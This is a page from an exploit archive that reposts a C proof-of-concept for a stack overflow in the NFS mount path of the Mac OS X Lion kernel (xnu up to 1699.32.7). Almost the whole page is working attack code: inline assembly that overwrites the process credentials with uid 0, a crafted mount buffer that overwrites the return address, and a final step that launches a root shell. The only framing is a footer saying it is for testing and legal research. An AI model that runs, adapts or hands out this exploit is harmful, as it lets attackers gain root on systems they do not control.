Advertisement






Mac OS X Lion Kernel <= xnu-1699.32.7 NFS Mount Local Root

CVE Category Price Severity
Unknown High
Author Risk Exploitation Type Date
Unknown Critical Local 2014-04-11
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2014040070

Below is a copy:

/*
 * Apple Mac OS X Lion Kernel <=  xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
 * CVE None
 * by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
 *
 *
 * Notes:
 *  This exploit leverage a stack overflow vulnerability to escalate privileges.
 *  The vulnerable function nfs_convert_old_nfs_args does not verify the size
 *  of a user-provided argument before copying it to the stack. As a result by
 *  passing a large size, a local user can overwrite the stack with arbitrary
 *  content.
 *
 * Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
 * Tested on Max OS X Lion xnu-1699.32.7  (x86_64)
 *
 *   Greets to taviso, spender, joberheide
 */
  
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
  
/** change these to fit your environment if needed **/
#define SSIZE       (536)
  
/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
struct user_nfs_args {
    int     version;    /* args structure version number */
    char*   addr __attribute__((aligned(8)));       /* file server address */
    int     addrlen;    /* length of address */
    int     sotype;     /* Socket type */
    int     proto;      /* and Protocol */
    char *  fh __attribute__((aligned(8)));     /* File handle to be mounted */
    int     fhsize;     /* Size, in bytes, of fh */
    int     flags;      /* flags */
    int     wsize;      /* write size in bytes */
    int     rsize;      /* read size in bytes */
    int     readdirsize;    /* readdir size in bytes */
    int     timeo;      /* initial timeout in .1 secs */
    int     retrans;    /* times to retry send */
    int     maxgrouplist;   /* Max. size of group list */
    int     readahead;  /* # of blocks to readahead */
    int     leaseterm;  /* obsolete: Term (sec) of lease */
    int     deadthresh; /* obsolete: Retrans threshold */
    char*   hostname __attribute__((aligned(8)));   /* server's name */
    /* NFS_ARGSVERSION 3 ends here */
    int     acregmin;   /* reg file min attr cache timeout */
    int     acregmax;   /* reg file max attr cache timeout */
    int     acdirmin;   /* dir min attr cache timeout */
    int     acdirmax;   /* dir max attr cache timeout */
    /* NFS_ARGSVERSION 4 ends here */
    uint    auth;       /* security mechanism flavor */
    /* NFS_ARGSVERSION 5 ends here */
    uint    deadtimeout;    /* secs until unresponsive mount considered dead */
};
  
/** sets the uid for the current process  and safely exits from the kernel**/
static void r00t_me() {
    asm(
        // padding
        "nop; nop; nop; nop;"
  
        // task_t %rax = current_task()
        "movq   %%gs:0x00000008, %%rax;"
        "movq   0x00000348(%%rax), %%rax;"
         
        // proc %rax = get_bsdtask_info()
        "movq   0x000002d8(%%rax),%%rax;"
         
        // ucred location at proc
        "movq   0x000000d0(%%rax),%%rax;"
         
        // uid = 0
        "xorl   %%edi, %%edi;"     
        "movl   %%edi, 0x0000001c(%%rax);"
        "movl   %%edi, 0x00000020(%%rax);"
         
        // fix the stack pointer and return (EACCES)
        "movq   $13, %%rax;"
        "addq   $0x00000308,%%rsp;"
        "popq   %%rbx;"
        "popq   %%r12;"
        "popq   %%r13;"
        "popq   %%r14;"
        "popq   %%r15;"
        "popq   %%rbp;"
        "ret;"
        :::"%rax"
    );
}
  
int main(int argc, char ** argv) {
    struct user_nfs_args xdrbuf;
    char * path;
    char obuf[SSIZE];
  
  
    /** clear the arguments **/
    memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
    memset(obuf, 0x00, SSIZE);
  
    /** set up variable to get path to vulnerable code **/
    xdrbuf.version = 3;
    xdrbuf.hostname = "localhost";
    xdrbuf.addrlen = SSIZE;
    xdrbuf.addr = obuf;
     
    /** set ret address **/
    *(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
    printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);
         
    /** create a unique tmp name **/
    if ((path = tmpnam(NULL)) == NULL) {
        // path can be any directory which we have read/write/exec access
        // but I'd much rather create one instead of searching for one
        perror("[-] tmpnam");
        exit(EXIT_FAILURE);
    }
     
    /** make the path in tmp so that we can use it **/
    if (mkdir(path, 0660) < 0) {
        perror("[-] mkdir");
        exit(EXIT_FAILURE);
    }
     
    /** inform the user that the path was created **/
    printf("[*] created sploit path%s\n", path);
     
    /** call the vulnerable function **/
    if (mount("nfs", path, 0, &xdrbuf) < 0) {
        if (errno == EACCES) {
            puts("[+] escalating privileges...");
        } else {
            perror("[-] mount");
        }
         
    }
     
    /** clean up tmp dir **/
    if (rmdir(path) < 0) {
        perror("[-] rmdir");
    }
     
    /** check if privs are equal to root **/
    if (getuid() != 0) {
        puts("[-] priviledge escalation failed");
        exit(EXIT_FAILURE);
    }
     
    /** get root shell **/
    printf("[+] We are now uid=%i ... your welcome!\n", getuid());
    printf("[+] Dropping a shell.\n");
    execl("/bin/sh", "/bin/sh", NULL);
    return 0;
}


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum